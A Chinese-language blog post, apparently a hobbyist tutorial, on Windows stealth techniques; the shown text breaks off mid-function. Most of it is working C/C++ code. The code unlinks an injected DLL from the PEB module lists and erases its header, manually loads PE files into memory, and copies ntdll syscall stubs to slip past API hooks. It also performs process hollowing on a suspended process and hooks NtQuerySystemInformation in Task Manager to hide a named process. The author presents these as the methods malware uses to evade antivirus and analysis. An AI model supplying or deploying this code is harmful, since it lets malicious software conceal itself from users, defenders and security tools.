随便写写,勿喷
0x00 保命申明
最近闲来无事,于是想着写一篇小水文。首先申明,在里面涉及的技术都是可以在Google 或者百度上可查的,我只不过是将这些零散的文章提到的内容收集起来整理成这样一篇摆烂的文章,文章里面提到的技术百度和Google会出现很多相关的介绍以及原理分析,所以我在这里就不进行详细赘述了(主要是太菜了怕说错了,呜呜呜)。好了,水字数到此为止吧,下面直接开始摆烂。
0x01 隐藏DLL模块
首先就是隐藏DLL 模块,为什么要隐藏DLL 模块呢?因为我不想别人发现它,或者不想别人那么快发现它,所以我得藏起来,而至于怎么藏起来,这里简单介绍两个方式:
1.1、断链
在进程中,与该进程相关的DLL 模块在加载到对应的虚拟地址空间时,模块的一部分信息会被保存在进程PEB 中,在PEB 结构中有一个名字叫做_PEB_LDR_DATA 的结构体,它长下面这个样子的
//0x58 bytes (sizeof)
struct _PEB_LDR_DATA
{
ULONG Length; //0x0
UCHAR Initialized; //0x4
VOID* SsHandle; //0x8
struct _LIST_ENTRY InLoadOrderModuleList; //0x10
struct _LIST_ENTRY InMemoryOrderModuleList; //0x20
struct _LIST_ENTRY InInitializationOrderModuleList; //0x30
VOID* EntryInProgress; //0x40
UCHAR ShutdownInProgress; //0x48
VOID* ShutdownThreadId; //0x50
};
这其中包括了三个链表,InLoadOrderModuleList、InMemoryOrderModuleList、InInitializationOrderModuleList,这三个链表都指向LDR_DATA_TABLE_ENTRY 结构,在里面就是进程的中的模块信息,它长这个样子的:
//0x120 bytes (sizeof)
struct _LDR_DATA_TABLE_ENTRY
{
struct _LIST_ENTRY InLoadOrderLinks;//0x0
struct _LIST_ENTRY InMemoryOrderLinks; //0x10
struct _LIST_ENTRY InInitializationOrderLinks; //0x20
VOID* DllBase; //0x30
VOID* EntryPoint; //0x38
ULONG SizeOfImage; //0x40
struct _UNICODE_STRING FullDllName; //0x48
struct _UNICODE_STRING BaseDllName; //0x58
union
{
UCHAR FlagGroup[4]; //0x68
ULONG Flags;//0x68
struct
{
ULONG PackagedBinary:1; //0x68
ULONG MarkedForRemoval:1; //0x68
ULONG ImageDll:1; //0x68
ULONG LoadNotificationsSent:1; //0x68
ULONG TelemetryEntryProcessed:1;//0x68
ULONG ProcessStaticImport:1;//0x68
ULONG InLegacyLists:1; //0x68
ULONG InIndexes:1; //0x68
ULONG ShimDll:1;//0x68
ULONG InExceptionTable:1; //0x68
ULONG ReservedFlags1:2; //0x68
ULONG LoadInProgress:1; //0x68
ULONG LoadConfigProcessed:1;//0x68
ULONG EntryProcessed:1; //0x68
ULONG ProtectDelayLoad:1; //0x68
ULONG ReservedFlags3:2; //0x68
ULONG DontCallForThreads:1; //0x68
ULONG ProcessAttachCalled:1;//0x68
ULONG ProcessAttachFailed:1;//0x68
ULONG CorDeferredValidate:1;//0x68
ULONG CorImage:1; //0x68
ULONG DontRelocate:1; //0x68
ULONG CorILOnly:1; //0x68
ULONG ChpeImage:1; //0x68
ULONG ReservedFlags5:2; //0x68
ULONG Redirected:1; //0x68
ULONG ReservedFlags6:2; //0x68
ULONG CompatDatabaseProcessed:1;//0x68
};
};
USHORT ObsoleteLoadCount; //0x6c
USHORT TlsIndex;//0x6e
struct _LIST_ENTRY HashLinks; //0x70
ULONG TimeDateStamp;//0x80
struct _ACTIVATION_CONTEXT* EntryPointActivationContext;//0x88
VOID* Lock; //0x90
struct _LDR_DDAG_NODE* DdagNode;//0x98
struct _LIST_ENTRY NodeModuleLink; //0xa0
struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0
VOID* ParentDllBase;//0xb8
VOID* SwitchBackContext;//0xc0
struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8
struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0
ULONGLONG OriginalBase; //0xf8
union _LARGE_INTEGER LoadTime; //0x100
ULONG BaseNameHashValue;//0x108
enum _LDR_DLL_LOAD_REASON LoadReason; //0x10c
ULONG ImplicitPathOptions; //0x110
ULONG ReferenceCount; //0x114
ULONG DependentLoadFlags; //0x118
UCHAR SigningLevel; //0x11c
};
知道这些后就清楚了,我们让自己的DLL 在进程中隐藏的话,说到底就是让指向LDR_DATA_TABLE_ENTRY 结构的链表中没有我们的存在就可以了,理论存在,实践开始,于是乎我们便得到了它:
DWORD remove_list_entry(_In_ LPVOID lpParameter)
{
Sleep(1000);
LOG("start remote list entry\r\n");
auto peb = __readgsqword(0x60);
LOG("peb data = %llx\r\n", peb);
PPEB_LDR_DATA ldr = (PPEB_LDR_DATA)*(ULONG64*)(peb + 0x18);
LOG("ldr point = %p\r\n", ldr);
PLDR_DATA_TABLE_ENTRY pData = (PLDR_DATA_TABLE_ENTRY)&ldr->InLoadOrderModuleList;
PLDR_DATA_TABLE_ENTRY pNext = pData;
wchar_t* ws_module_name = new wchar_t[256];
GetModuleFileNameW((HMODULE)lpParameter, ws_module_name, 256);
LOG("get module name : %ws\r\n", ws_module_name);
do
{
if ((pNext->BaseDllName.Buffer) && wcsstr(ws_module_name, pNext->BaseDllName.Buffer))
{
//LOG("get module name : %ws\r\n", pNext->BaseDllName.Buffer);
// 断链
pNext->InLoadOrderLinks.Flink->Blink = pNext->InLoadOrderLinks.Blink;
pNext->InLoadOrderLinks.Blink->Flink = pNext->InLoadOrderLinks.Flink;
pNext->InLoadOrderLinks.Blink = pNext->InLoadOrderLinks.Flink = (PLIST_ENTRY)pNext;
pNext->InMemoryOrderLinks.Flink->Blink = pNext->InMemoryOrderLinks.Blink;
pNext->InMemoryOrderLinks.Blink->Flink = pNext->InMemoryOrderLinks.Flink;
pNext->InMemoryOrderLinks.Blink = pNext->InMemoryOrderLinks.Flink = &(pNext->InMemoryOrderLinks);
pNext->InInitializationOrderLinks.Flink->Blink = pNext->InInitializationOrderLinks.Blink;
pNext->InInitializationOrderLinks.Blink->Flink = pNext->InInitializationOrderLinks.Flink;
pNext->InInitializationOrderLinks.Blink = pNext->InInitializationOrderLinks.Flink = &(pNext->InInitializationOrderLinks);
// 抹除特征
DWORD dwOleProct = 0;
VirtualProtect(pNext->DllBase, 0x1000, PAGE_READWRITE, &dwOleProct);
memset(pNext->DllBase, 0, 0x1000);
VirtualProtect(pNext->DllBase, 0x1000, dwOleProct, NULL);
}
pNext = (PLDR_DATA_TABLE_ENTRY)pNext->InLoadOrderLinks.Blink;
} while (pData != pNext);
delete[] ws_module_name;
return 0;
}
上面的代码(写的很丑,勿喷)就是一个简单通过断链实现DLL 模块隐藏的测试代码,他的执行效果如下:
1.2、内存加载
内存加载的方式其实严格来说应该算是一种注入方式,但是由于其在加载代码到目标进程后确实一定程度上可以达到隐藏的目的,所以我也将其整理进来,这种方式实际上就是在本地重写了应该PE 装载器,将PE 文件加载到内存并进行节区拉伸对齐、修复导入表和重定位等操作在跳转到start 函数或者导出函数执行代码,这种方式也是有些木马病毒常用的方式,通常它们会将一些恶意PE 文件加载进一些正常进程中进行执行以逃避检测,对于这种方式,一些强杀软:主不在乎!
有了上面的那些介绍,目标也就明确了,我们要实现内存加载,最重要的就是重写一个本地的PE 装载器,理论存在,实践开始。
经过一顿百度和谷歌,再加之我单身十几年的手速进行CV,于是我们得到了它:
// copy Pe header
VOID CopyPEHeader(PUCHAR buffer, PUCHAR IamgeBase)
{
// printf("[+] Copy Pe Header To New Buffer\r\n");
// DOS Header
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)(buffer);
// NT Header
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + buffer);
// section
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
// copy Pe header
memcpy(IamgeBase, buffer, pNt->OptionalHeader.SizeOfHeaders);
}
// copy section
VOID CopySection(PUCHAR buffer, PUCHAR ImageBase)
{
// printf("[+] Copy Section Data To New Buffer\r\n");
// DOS header
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)(buffer);
// NT header
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + buffer);
// section
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++)
{
memcpy(ImageBase + pSection->VirtualAddress, buffer + pSection->PointerToRawData, pSection->SizeOfRawData);
pSection++;
}
}
// fix raloaction
VOID FixReloaction(PUCHAR pImageBase)
{
ULONG_PTR relOffset;
ULONG_PTR relBlockVA;
ULONG_PTR relDirectory;
ULONG_PTR relEntry;
ULONG_PTR relBlock;
// DOS header
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)(pImageBase);
// NT header
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + pImageBase);
// calculate the base address delta and perform relocations (even if we load at desired image base)
relOffset = (ULONG_PTR)(pImageBase - (pNt->OptionalHeader.ImageBase));
// relDirectory = the address of the relocation directory
relDirectory = (ULONG_PTR) & (pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);
// check if their are any relocations present
if (((PIMAGE_DATA_DIRECTORY)relDirectory)->Size)
{
// relEntry is now the first entry (IMAGE_BASE_RELOCATION)
relEntry = (ULONG_PTR)(pImageBase + ((PIMAGE_DATA_DIRECTORY)relDirectory)->VirtualAddress);
// and we itterate through all entries...
while (((PIMAGE_BASE_RELOCATION)relEntry)->SizeOfBlock)
{
// relBlockVA = the VA for this relocation block
relBlockVA = (ULONG_PTR)(pImageBase + ((PIMAGE_BASE_RELOCATION)relEntry)->VirtualAddress);
// relDirectory = number of entries in this relocation block
relDirectory = (((PIMAGE_BASE_RELOCATION)relEntry)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// relBlock is now the first entry in the current relocation block
relBlock = relEntry + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while (relDirectory--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if (((PIMAGE_RELOC)relBlock)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR*)(relBlockVA + ((PIMAGE_RELOC)relBlock)->offset) += relOffset;
else if (((PIMAGE_RELOC)relBlock)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD*)(relBlockVA + ((PIMAGE_RELOC)relBlock)->offset) += (DWORD)relOffset;
else if (((PIMAGE_RELOC)relBlock)->type == IMAGE_REL_BASED_HIGH)
*(WORD*)(relBlockVA + ((PIMAGE_RELOC)relBlock)->offset) += HIWORD(relOffset);
else if (((PIMAGE_RELOC)relBlock)->type == IMAGE_REL_BASED_LOW)
*(WORD*)(relBlockVA + ((PIMAGE_RELOC)relBlock)->offset) += LOWORD(relOffset);
// get the next entry in the current relocation block
relBlock += sizeof(IMAGE_RELOC);
}
// get the next entry in the relocation directory
relEntry = relEntry + ((PIMAGE_BASE_RELOCATION)relEntry)->SizeOfBlock;
}
}
}
// fix IAT
VOID FixIAT(PUCHAR pImageBase)
{
ULONG_PTR uiHeaderValue;
ULONG_PTR pIatVA;
ULONG_PTR pImportDirectory;
ULONG_PTR pFirstIatEntry;
ULONG_PTR pOriginalFirstThunkVa;
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
ULONG_PTR uiLibraryAddress;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pImageBase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((ULONG64)pDosHeader + pDosHeader->e_lfanew);
// pImportDirectory = the address of the import directory
pImportDirectory = (ULONG_PTR)&pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// we assume their is an import table to process
// pFirstIatEntry is the first entry in the import table
pFirstIatEntry = ((ULONG_PTR)pImageBase + ((PIMAGE_DATA_DIRECTORY)pImportDirectory)->VirtualAddress);
// itterate through all imports
while (((PIMAGE_IMPORT_DESCRIPTOR)pFirstIatEntry)->Name)
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)LoadLibraryA((LPCSTR)(pImageBase + ((PIMAGE_IMPORT_DESCRIPTOR)pFirstIatEntry)->Name));
// pOriginalFirstThunkVa = VA of the OriginalFirstThunk
pOriginalFirstThunkVa = ((ULONG_PTR)pImageBase + ((PIMAGE_IMPORT_DESCRIPTOR)pFirstIatEntry)->OriginalFirstThunk);
// pIatVA = VA of the IAT (via first thunk not origionalfirstthunk)
pIatVA = ((ULONG_PTR)pImageBase + ((PIMAGE_IMPORT_DESCRIPTOR)pFirstIatEntry)->FirstThunk);
// itterate through all imported functions, importing by ordinal if no name present
while (*(UINT_PTR*)(pIatVA))
{
// sanity check pOriginalFirstThunkVa as some compilers only import by FirstThunk
if (pOriginalFirstThunkVa && ((PIMAGE_THUNK_DATA)pOriginalFirstThunkVa)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)pOriginalFirstThunkVa)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
// patch in the address for this imported function
*(UINT_PTR*)(pIatVA) = (uiLibraryAddress + *(DWORD*)(uiAddressArray));
}
else
{
// get the VA of this functions import by name struct
pImportDirectory = ((ULONG_PTR)pImageBase + *(UINT_PTR*)(pIatVA));
// use GetProcAddress and patch in the address for this imported function
*(UINT_PTR*)(pIatVA) = (ULONG_PTR)GetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)pImportDirectory)->Name);
printf("%s\r\n", (LPCSTR)((PIMAGE_IMPORT_BY_NAME)pImportDirectory)->Name);
}
// get the next imported function
pIatVA += sizeof(ULONG_PTR);
if (pOriginalFirstThunkVa)
pOriginalFirstThunkVa += sizeof(ULONG_PTR);
}
// get the next import
pFirstIatEntry += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
}
这里我只给出了实现PE 装载的代码,我的实现方式是将上面代码转为shellcode 并注入目标进程对指定路径的dll 文件进行装载,其实也可以直接跨进程对读取出的dll 文件进行写入目标进程的操作,边写边修嘛,但是无奈嫌麻烦就直接搞个shellcode 来干,其实都一样。
至于执行起来的效果就是下面这样,DLL 在目标进程中加载起来并成功弹出窗口,模块列表中却不见它。
这里就说这两种模块隐藏的方式,其中第二种方式,不局限于DLL 文件,只要是PE 结构都可以使用类似的方式进行加载。
0x02 隐藏API 调用
在我们....不对,在别人要做一些《不好的操作》的时候,除了不想被别人发现自己在哪,也不想被别人发现自己干了啥,特别是在别人察觉到是不是电脑里面多了一些奇奇怪怪的玩意并且准备进行分析的时候,这时候将自己的行为隐藏起来就显得很重要,当然,这里更多的涉及到一些反调试、反沙箱这类的自保技术(开个坑吧),这里也有利用自己实现系统调用而使调试器无法在对应的API 上实现下断,我愿称之为老阴逼。
2.1、 系统调用
在实现系统调用之前,我们先来简单说一下啥是系统调用。
现在比如我要创建一个文件,那我在代码里面调用CreateFile 函数就可以实现自己的需求——在特定的路径下创建文件,那我在调用CreateFile 的时候,在里面发生了什么,最终代码会走向何处,用户层的调用如何进入内核进行实现呢?看图说话(这里以x64 进程为例,至于Wow64 和x86 系统架构,大同小异)
这里就简答说一下,我们在调用CreateFile 后,代码会接着调用下层的NtCreateFile,并在这之前完成参数的转换,接着进入NtCreateFile 后会看到下面的图:
这里就是用户层进入内核的一个入口了(也不知道怎么表达对不对),首先是0x55 这个值,它是NtCreateFile 这个函数在内核中的一个编号,利用这个值才能找到正确的函数,接着是0x7FFE0308这个值,这是KUSER_SHARED_DATA 这个结构中SystemCall 项,这里存放着KiFastSystemCall 函数的地址,通过比较这个项是否为0来选择以何种方式进入内核。
了解这些对于实现“隐藏API 调用”就差不多了,我们知道,我们创建文件可以执行CreateFile进行实现,现在我们知道CreateFile 实际上是调用了NtCreateFile 实现的,所以我们可以直接调用NtCreateFile 实现对文件的创建,这样对于CreateFile 的调用就不存在了,实现了对CreateFile API 的隐藏,那对于NtCreateFile的话,我们研究知道NtCreateFile 是如何进入内核实现的,那么我们把这块的代码复制到我们的内存,自己去实现syscall 的调用,也就达到了对NtCreateFile 调用的隐藏。理论存在,实践开始:
#include <windows.h>
#include <stdio.h>
#include "header.h"
#define PAUSE system("pause");
NTSTATUS NtCreateFileFunc(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength
)
{
auto hModule = LoadLibraryW(L"ntdll.dll");
if (!hModule) return STATUS_UNSUCCESSFUL;
auto pCall = (PVOID)GetProcAddress(hModule, "ZwCreateFile");
auto pfnCall = (PFN_NtCreateFile)VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy_s(pfnCall, 0x1000, pCall, 0x1000);
return pfnCall(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, AllocationSize, FileAttributes, ShareAccess, CreateDisposition, CreateOptions, EaBuffer, EaLength);
}
int main()
{
Sleep(0);
HMODULE hm = LoadLibraryA("ntdll.dll");
if (!hm)
{
printf("hm is null : %d\r\n", GetLastError());
return 0;
}
RtlInitUnicodeStringFunc RtlInitUnicodeString =
(RtlInitUnicodeStringFunc)GetProcAddress(hm,
"RtlInitUnicodeString");
if (!RtlInitUnicodeString)
{
printf("RtlInitUnicodeString is null : %d\r\n",
GetLastError());
return 0;
}
HANDLE h = INVALID_HANDLE_VALUE;
OBJECT_ATTRIBUTES obj = { sizeof(OBJECT_ATTRIBUTES) };
UNICODE_STRING str;
WCHAR filepath[100] = L"\\??\\\\C:\\Users\\XXXX\\Desktop\\testfilecreate.txt";
WCHAR filepathtoread[100] = L"\\??\\\\C:\\Users\\XXXX\\Desktop\\testfilecreate.txt";
RtlInitUnicodeString(&str, filepath);
InitializeObjectAttributes(&obj, &str,
OBJ_CASE_INSENSITIVE, NULL, NULL);
IO_STATUS_BLOCK isb;
NTSTATUS status = NtCreateFileFunc(&h,
FILE_GENERIC_WRITE, &obj, &isb, 0, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_RANDOM_ACCESS |
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
NULL, 0);
printf("status = %llX\th = 0x%08X\r\n", status, h);
// printf("hFile = 0x%08X\tresult = %d\r\n", hFile,
GetLastError();
PAUSE;
return 0;
}
上面的代码其实还存在一个不足的地方就是直接去复制ntdll.dll 模块的函数的话,如果目标函数以及被挂钩,就G了,隐藏了个寂寞,所以最好的办法是重载ntdll.dll,再去获取对应的函数。
0x03 隐藏进程
谈到隐藏,怎么能没有对进程的隐藏呢?不管是恶意木马病毒还是一些调试工具或者插件外挂,对进程的隐藏或多或少都会涉及到,当然,这里说的隐藏不一定是那种biu~的一下,没了的效果,也可能是【披着羊皮的狼】。
3.1、进程伪装
进程伪装就不过多赘述了,在XX 下载站上下的软件不少有这么搞的。
3.2、傀儡进程
傀儡进程顾名思义就是在一个正常的进程中载入一段“搞事情”的代码让他执行,这些“搞事情”的可能是一个dll,或者是一个PE,也可能是一段shellcode,甚至当前这个程序就是一个没有灵魂的空壳,里面执行的代码以及被替换了。这里列举两种方式实现的傀儡进程。
3.2.1、内存加载进程
内存加载进程和上面的内存加载DLlL 实现模块隐藏类似,就是实现一个本地的PE 装载器加载PE 文件实现对执行恶意程序的进程在肉眼的层面上隐藏。
实现和上面的DLL 内存加载类似,下面是部分代码:
int main(int argc, char* argv[])
{
if (argc != 2)
{
ERROR("[target PE file path]\r\n");
return 0;
}
BYTE* buffer = NULL;
DWORD ndBufferSize = ReadPeFileToMem((PVOID*)&buffer, argv[1]);
// DOS 头
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)(buffer);
// NT 头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + buffer);
// 节表
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
DWORD dwImageSize = pNt->OptionalHeader.SizeOfImage;
PUCHAR ImageBase = (PUCHAR)VirtualAlloc(NULL, dwImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!ImageBase)
{
printf("[!]VirtualAlloc is fail:%d\r\n", GetLastError());
PAUSE;
return 0;
}
memset(ImageBase, 0x0, dwImageSize);
printf("[+]VirtualAlloc is %p\r\n", ImageBase);
CopyPEHeader(buffer, ImageBase);
CopySection(buffer, ImageBase);
FixReloaction(ImageBase);
FixIAT(ImageBase);
pDos = (PIMAGE_DOS_HEADER)(ImageBase);
pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + buffer);
MF mainFunc = (MF)(pNt->OptionalHeader.AddressOfEntryPoint + ImageBase);
printf("[+] Get Point Address Is : 0x%p\r\n", mainFunc);
Sleep(0);
memset(ImageBase, 0x0, 0x900);
printf("entry : %p\r\n", mainFunc);
PAUSE;
mainFunc();
PAUSE;
return 0;
}
执行代码后的效果就是下面这样
使用工具加载testTargetProcess.exe 到内存中,在进程列表中并没有testTargetProcess.exe 进程存在,当然,这种隐藏方式其实只能算是【蒙住自己的眼睛】。
3.2.2、进程替换
进程替换这个概念其实很大,但是通俗来说就是将原本进程挂起后,将原始执行的代码切换为或注入或替换后的代码,并且通过设置线程上下文修改进程执行入口,最后恢复进程执行的一种方式。
这里最重要的就是获取线程上下文并且设置上下文更新到目标进程中,这里可以使用NtSuspendProcess 使正在运行的进程挂起并枚举目标进程线程再进行替换以及更新上下文的操作,并在最后恢复进程执行。此外还有就是创建子进程并将其挂起,然后写入真正执行的PE 数据,并在更新线程上下文后恢复执行。
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <fstream>
#include <Shlwapi.h>
#pragma comment (lib, "Shlwapi.lib")
#define LOG(fmt, ...) printf("[dbg] "fmt, ##__VA_ARGS__)
DWORD ReadPeFileToMem(PVOID* buffer, LPCSTR pszFilePath)
{
if (!pszFilePath)
{
ERROR("Parameter error\r\n");
ExitProcess(0);
}
DWORD fileLen = 0;
FILE* filePtr;
filePtr = fopen(pszFilePath, "rb");
fseek(filePtr, 0, SEEK_END);
fileLen = ftell(filePtr);
rewind(filePtr);
*buffer = (BYTE*)malloc(fileLen + 4);
LOG("buffer address : 0x%llX\r\n", *buffer);
if (!*buffer)
{
ERROR("malloc memory fail : %d\r\n", GetLastError());
ExitProcess(0);
}
fread_s(*buffer, fileLen, fileLen, 1, filePtr);
fclose(filePtr);
return fileLen;
}
void RunFackProcess(const char* path, void* Image)
{
PIMAGE_DOS_HEADER pDOSHeader = PIMAGE_DOS_HEADER(Image);;
PIMAGE_NT_HEADERS pNtHeader = PIMAGE_NT_HEADERS(ULONG64(Image) + pDOSHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeader);
CONTEXT context;
context.ContextFlags = CONTEXT_ALL;
PVOID pImageBase;
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOA si = { 0 };
if (pNtHeader->Signature == IMAGE_NT_SIGNATURE)
{
if (CreateProcessA(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
{
if (GetThreadContext(pi.hThread, &context))
{
pImageBase = VirtualAllocEx(pi.hProcess,
LPVOID(pNtHeader->OptionalHeader.ImageBase),
pNtHeader->OptionalHeader.SizeOfImage,
0x3000,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pImageBase, Image, pNtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++)
{
//pSectionHeader = PIMAGE_SECTION_HEADER(DWORD(pNtHeader) + sizeof(IMAGE_NT_HEADERS) + IMAGE_SIZEOF_SECTION_HEADER * count);
WriteProcessMemory(pi.hProcess, LPVOID(ULONG64(pImageBase) + pSectionHeader->VirtualAddress), LPVOID(ULONG64(Image) + pSectionHeader->PointerToRawData), pSectionHeader->SizeOfRawData, 0);
pSectionHeader++;
}
WriteProcessMemory(pi.hProcess, LPVOID(context.Rdx + 0x10), LPVOID(&pImageBase), 8, 0);
context.Rip = ULONG64(pImageBase) + pNtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &context);
ResumeThread(pi.hThread);
return;
}
}
}
}
int main(int argc, char* argv[])
{
if (argc != 3)
{
LOG("[target process] [fack process path]\r\n");
return 0;
}
BYTE* buffer = NULL;
DWORD ndBufferSize = ReadPeFileToMem((PVOID*)&buffer, argv[2]);
RunFackProcess(argv[1], buffer);
return 0;
}
上面的代码就是利用创建挂起状态的子进程并写入真正执行的PE 数据后更新线程上下文并恢复执行,下图是效果图,TargetGame.exe 进程实际上执行的fackProcess.exe 的代码。
3.3、hook NtQuerySystemInformation
在一些程序中会调用NtQuerySystemInformation 函数查询系统当前正在执行的进程,比如Taskmgr.exe(系统进程管理器),所以啊,既然知道它怎么查询到进程的,那就给它干掉,干掉的同时也不能说就让它直接用不了,而是可以让它查询,但是只要存在特定的进程信息就给抹除掉,这样就实现的隐藏。
这里实现对NtQuerySystemInformation 函数的HOOK 是在R3层做的,在内核可以使用ETW HOOK 进行操作,区别就是在R3 HOOK 只能对指定的进程实现隐藏。
这里我也编写了一个Demo 来完成这一操作,主要进行的工作是使用MinHook 对NtQuerySystemInformation 进行HOOK,在使用SystemProcessInformation 属性值进行进程信息查询时拦截下来并对其中待隐藏进程的信息进行消除处理,将编译好的dll 注入到目标进程就可以实现对特定进程的隐藏。比如我这里是注入到Taskmgr.exe 中以在进程列表中隐藏TargetGame.exe 程序。效果如下:
代码:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "MinHook.h"
#include <Windows.h>
#include <stdio.h>
#include <crtdbg.h>
#define LOG(fmt, ...) printf("[dbg] "fmt, ##__VA_ARGS__)
#define HIDE_PROCESS_NAME L"TargetGame.exe"
PFN_NtQuerySystemInformation pfnNtQuerySystemInformation;
PFN_NtQuerySystemInformation pfnNtQuerySystemInformationOriginl;
void dll_open_console()
{
AllocConsole();
freopen("CONOUT$", "w", stdout);
LOG("inject dll success\r\n");
}
NTSTATUS _stdcall NtQuerySystemInformationHooked(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, SIZE_T SystemInformationLength, PSIZE_T ReturnLength)
{
NTSTATUS Result;
PSYSTEM_PROCESS_INFO pSystemProcess;
PSYSTEM_PROCESS_INFO pNextSystemProcess;
Result = pfnNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (NT_SUCCESS(Result) && SystemInformationClass == SystemProcessInformation)
{
pSystemProcess = (PSYSTEM_PROCESS_INFO)SystemInformation;
pNextSystemProcess = (PSYSTEM_PROCESS_INFO)((PBYTE)pSystemProcess + pSystemProcess->NextEntryOffset);
while (pNextSystemProcess->NextEntryOffset != 0)
{
if (lstrcmpW((&pNextSystemProcess->ImageName)->Buffer, HIDE_PROCESS_NAME) == 0) {
pSystemProcess->NextEntryOffset += pNextSystemProcess->NextEntryOffset;
}
pSystemProcess = pNextSystemProcess;
pNextSystemProcess = (PSYSTEM_PROCESS_INFO)((PBYTE)pSystemProcess + pSystemProcess->NextEntryOffset);
}
}
return Result;
}
bool saveOriginalCall()
{
PVOID pOriginalCallAddr = (PVOID)GetProcAddress(LoadLibraryW(L"ntdll.dll"), "NtQuerySystemInformation");
if (!pOriginalCallAddr)
{
LOG("%s get NtQuerySystemInformation function address is fail : %d\r\n",__FUNCTION__, GetLastError());
return false;
}
LOG("%s NtQuerySystemInformation addr = %p\r\n", __FUNCTION__, pOriginalCallAddr);
pfnNtQuerySystemInformation = (PFN_NtQuerySystemInformation)VirtualAlloc(0, 0x100, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pfnNtQuerySystemInformation)
{
LOG("%s malloc pfnNtQuerySystemInformation function address is fail : %d\r\n", __FUNCTION__, GetLastError());
return false;
}
LOG("%s pfnNtQuerySystemInformation addr = %p\r\n", __FUNCTION__, pfnNtQuerySystemInformation);
memcpy_s(pfnNtQuerySystemInformation, 0x100, pOriginalCallAddr, 0x100);
return true;
}
bool setHook()
{
PVOID pOriginalCallAddr = (PVOID)GetProcAddress(LoadLibraryW(L"ntdll.dll"), "NtQuerySystemInformation");
if (!pOriginalCallAddr)
{
LOG("%s get NtQuerySystemInformation function address is fail : %d\r\n", __FUNCTION__, GetLastError());
return false;
}
LOG("%s NtQuerySystemInformation addr = %p\r\n", __FUNCTION__, pOriginalCallAddr);
if (MH_Initialize() != MH_OK)
{
